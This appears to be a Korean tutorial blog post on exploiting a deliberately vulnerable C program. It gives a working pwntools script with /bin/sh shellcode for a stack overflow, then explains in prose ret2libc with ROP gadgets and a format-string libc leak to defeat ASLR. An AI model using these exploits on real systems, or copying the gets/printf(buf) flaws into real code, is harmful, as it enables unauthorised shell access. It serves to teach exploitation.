No-mitigation ~ NX-bit & ASLR binary exploit

hurrhnn·2022년 11월 9일
0
post-thumbnail

No-mitigation binary exploit(with shellcode)

#include <stdio.h>

void setup()
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	setup();
	
	char buf[0x100];

	printf("What's your name? : ");
	gets(buf);

	printf("Hello, ");
	printf(buf);
	printf("!!!\n");

	printf("Last greeting : ");
	gets(buf);

	return 0;
}

보호기법들이 아무것도 적용되어 있지 않아 쉘코드를 이용해 쉘을 딸 수 있다.
마지막 인사를 통해 버퍼를 오버플로우하여 쉘을 따보자.

익스플로잇을 하는 방법은 이러하다.
먼저, 버퍼에 쉘을 딸 수 있는 코드와 buf(0x100) 크기까지 아무 값이나 넣어 메모리를 채운 후
sfp(0x101~0x108)역시 아무 값이나 채운 다음
return address를 buf의 시작 주소로 덮어씌우면 된다.

그렇다면, return address에 덮어씌울 buf의 시작 주소를 알아야 한다. 어떻게 알아야 할까?
main +116줄을 보면 [rbp-0x100]의 주소 값을 rax에 넣는다.

0x7fffffffdc90buf의 시작 주소인 것을 알 수 있다.
정리하면, 마지막 인사에 쉘코드와 아무 문자를 합해서 0x100, sfp에 아무 문자 0x08을 채운 다음, buf의 시작 주소를 적어주고 보내면 쉘을 딸 수 있다.

따라서, 익스플로잇 코드를 이렇게 짤 수 있다.

from pwn import *

p = process("./bof", aslr = False)
#p = ELF("./bof")

p.recvuntil(": ")
p.sendline("niro, i'm niro")
p.recvuntil(": ")

shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

buf = "A" * (0x100 - len(shellcode))
sfp = "A" * 0x08
ret = p64(0x7fffffffdc90)

p.sendline(shellcode + buf + sfp + ret)

p.interactive()



NX-bit enabled binary exploit

NX-bit 보호기법이 켜져있는 프로그램을 익스플로잇 해보자.
프로그램의 C 코드는 이러하다.

먼저, NX-bit가 켜져있는 프로그램은 쉘코드를 실행할 수 없다.

왜냐하면, 우리가 입력한 쉘코드는 메모리 스택에 들어가는데 스택에 실행 권한이 없어 쉘코드가 실행할 수가 없다. ([stack]에 실행 권한인 'x'가 빠져있다.)

그러므로 우리는 RTL(Return to libc) 공격 기법을 사용해야 한다.
RTL 공격기법은 공유 라이브러리의 원하는 함수를 사용하는 공격 기법이다.

우리는 system()를 사용하여 쉘을 따야 한다.

retsystem()의 주소값을 넣은 다음, 익스코드를 실행해보자.
(p system으로 system() 의 주소값을 확인하였다.)

안된다. 안되는게 당연하다.
저 페이로드는 system(이상한 주소 값)를 실행하는 것이다. dereference가 나서 세그폴트가 뜬다.
실행할 파일을 인자에 넣지 않았으니 당연히 안되는 것이다.
그러므로, system() 함수에 "/bin/sh" 인자가 들어가야 한다.

64bit에서는 함수 인자를 레지스터 rdi, rsi, rdx, rcx, r8, r9 순으로 받는다.
rdi에 "/bin/sh"의 문자열 주소을 저장하고 함수를 실행해야 system("/bin/sh") 이 실행 될 것이다.

그러므로, 우리는 메모리에 이미 있는 기계 명령어인 "가젯"을 사용하여 rdi를 저장해야 한다.
호출할 함수의 첫번째 인자 값을 저장하는 asm코드를 찾아야 한다.

ROPgadget 명령어를 서용하여 가젯을 확인한다.

ret 뒤에 값이 없는 첫번째 주소 값을 선택 한다.
main 함수의 ret을 가젯으로 덮어씌우고, rdi에 넣을 주소 값을 가젯 뒤에 바로 적어준다. (rsp - 0x08)

마지막으로, 가젯의 ret에 system("/bin/sh") 주소 값을 적어주면 된다.

system() 함수가 호출됬고 rdi"/bin/sh" 의 주소값이 들어가 있는 것을 볼 수 있다.

최종 익스플로잇 코드



NX-bit, ASLR enabled binary exploit (FSB)

NX, ASLR 보호기법이 켜져있는 프로그램을 익스플로잇 해보자.
ALSR이 켜져있어 프로그램을 매번 실행했을 때 메모리 주소가 달라 고정된 주소로는 익스를 할 수가 없다.

프로그램의 소스코드는 이러하다.

printf(buf)? 안된다고 생각 할 수 있지만,

printf() 함수는 파라미터로 포인터를 받는다.
배열의 이름은 배열의 첫번재 주소이기 때문에 문제 없이 코드가 실행된다.

잠깐, 그렇다면 %d와 같은 포맷 스트링을 넣으면 어떻게 될까?

이상한 숫자가 나온다.
메모리 주소인거 같으니 %p를 넣어보자.

메모리 주소가 맞다.

그런데 이 메모리 주소는 무엇을 의미하는걸까?
gdb를 실행시켜 대충 bp를 걸고 확인해봤다.

오.. rdi 제외, 인자값을 전달하는 레지스트리의 값이 순서대로 나온다.
rdi, rsi, rdx, rcx, r8, r9, 그 다음 부턴 스택이다.

스택? 우리는 프로그램을 실행할 때 main()이 바로 실행되는 것이 아니라 __libc_start_main() 이라는 함수에 의해 실행 되고, main()함수 실행이 다 끝나서 __libc_start_main()으로 돌아가면 exit()__libc_start_main() 함수를 종료한다.

__libc_start_main+240은 항상 존재하는 것이다.
추가) +240의 오프셋은 glibc의 버전마다 약간씩 다 다르다.

그러므로, __libc_start_main+240를 이용하여 라이브러리(libc)의 시작 주소를 알 수 있다.

아니,, 라이브러리 시작 주소를 왜 알아야 하는데요..?

ASLRAddress Space Layout Randomize의 약자이다.
직역하면, 주소 공간 배치 랜덤화이다. 주소가 바뀌지, 메모리 구조가 바뀌는 것이 아니다!

system()함수(__libc_system)는 libc 라이브러리 안에 있다.

메모리 구조는 바뀌지 않으므로, 이 둘의 주소의 차이는 항상 같다.

이제부터, 이러한 주소의 차이를 오프셋이라 하겠다.

일단, system()함수의 오프셋을 구해보자.

먼저, gdb로 스택에 있는 __libc_start_main+240의 주소값을 찾아보자.

시간이 좀 걸렸지만.. 찾았다.
%p를 (5 + 34)번 했을 때, __libc_start_main+240의 주소를 출력한다. (5: 레지스트리, 34: 스택)

vmmap을 이용하여 libc와 __libc_start_main()함수의 오프셋을 알아 냈다.

마지막으로, libc의 시작 주소와 system() 함수의 주소 차이를 구하면 오프셋을 얻을 수 있다.

이와 같은 방식으로, 라이브러리 안에 있는 "/bin/sh" 문자열의 주소를 찾아 "/bin/sh" 문자열의 오프셋도 얻을 수 있다.

이제 지금까지 구한 오프셋들을 익스코드에 적용 한다.

쉘을 딸 수 있다.

0개의 댓글